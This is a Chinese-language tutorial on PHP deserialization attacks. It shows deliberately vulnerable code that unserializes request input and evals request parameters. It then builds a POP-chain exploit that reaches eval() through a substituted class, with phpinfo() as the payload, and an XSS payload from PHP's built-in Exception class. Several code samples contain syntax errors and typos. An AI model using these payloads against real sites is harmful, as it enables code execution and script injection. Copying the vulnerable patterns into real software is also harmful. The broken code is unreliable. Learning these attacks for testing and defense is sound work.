一、基础反序列化
(1)序列化:在各类语言中,将对象的状态信息转换为可存储或可传输的过程。
<?php
class test{
public $test;
function __construct(){
echo "对象被创建时调用";
}
function __destruct(){
echo "对象被销毁时调用";
//system($_GET['cmd']);
}
}
$test = New test;
echo "<br>";
echo serialize($test);
echo "<br>";
?>
上述代码通过serialize()进行序列化。输出如下图:
(2)反序列化:为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,最终通过反序列化获取序列化之前的对象。
<?php
class test{
function __construct(){
echo "创建时调用";
}
function __destruct(){
echo "销毁时调用";
eval($_GET['ip']);
}
}
unserialize($_GET['cmd']);
?>
上述代码通过unserialize()反序列化。如下图:
(3)PHP序列化后基本类型表达:
- 布尔型(bool) :b:value => b:0
- 整数型(int):i:value => i:1
- 字符串型(str):s:length:"value" => s:4:"aaaa"
- 数组型(array):a:<length>:{key,value pairs} => a:1:{i:1;s:1:"a"}
- 对象型(object):O:<class_name_length>:
- NULL型:N
(4)常见魔术方法:
- __construct:对象被创建时触发
- __destruct:对象被销毁时触发
- __toString:对象被当作一个字符串使用时触发
- __sleep:序列化对象前调用(其返回需要是一个数组)
- __wakeup:反序列化恢复对象前调用
- __call:调用对象中不存在的方法时自动调用
- __get:从不可访问的属性读取数据
(5)实例:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = New normal();
}
function __destruct(){
$this->ClassObj->action()
}
}
class normal{
function action(){
echo "don not give up ";
}
}
class eavl{
private $data;
function action(){
eval($this->data)
}
}
unserialize($_GET['cmd'];
?>
代码分析:
lemon类正常调用时创建一个normal实列,当该对象销毁时调用normal实例的action方法。
如果将$this->ClassObj替换为eavl类,当normal实例调用action方法时进入eval()函数。
Exploit构造:
将__construct中的ClassObj换为eavl类,然后将eavl类的私有属性data赋值为想要执行的命令。
构造代码如下:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = New eavl();
}
function __destruct(){
echo "over";
}
}
class eavl{
private $data="phpinfo();";
}
echo serialize(New lemon());
echo urlencode(serialize(New lemon()));
?>
PS:因为ClassObj是protected属性,所以存在"%00*%00"来表示它,而%00是不可见字符,在构造Exploit时使用urlencode来避免“%00"缺失。
使用构造的exploit成功执行命令:
二、原生类利用
在实际的挖洞过程中经常遇到没有合适的利用链,这需要利用PHP本身自带的原生类。
(1)__toString()
__toString是当对象作为字符串处理时,便会自动触发。
<?php
echo unserialize($__REQUEST['cmd']);
?>
Exploit生成:
<?php
echo urlencode(serialize(new Exception("<script>alert('zhagn')</script>")));
?>
主要利用PHP内置Exception类对错误消息没有做过滤,导致最终反序列化后输出内容在网页中造成XSS。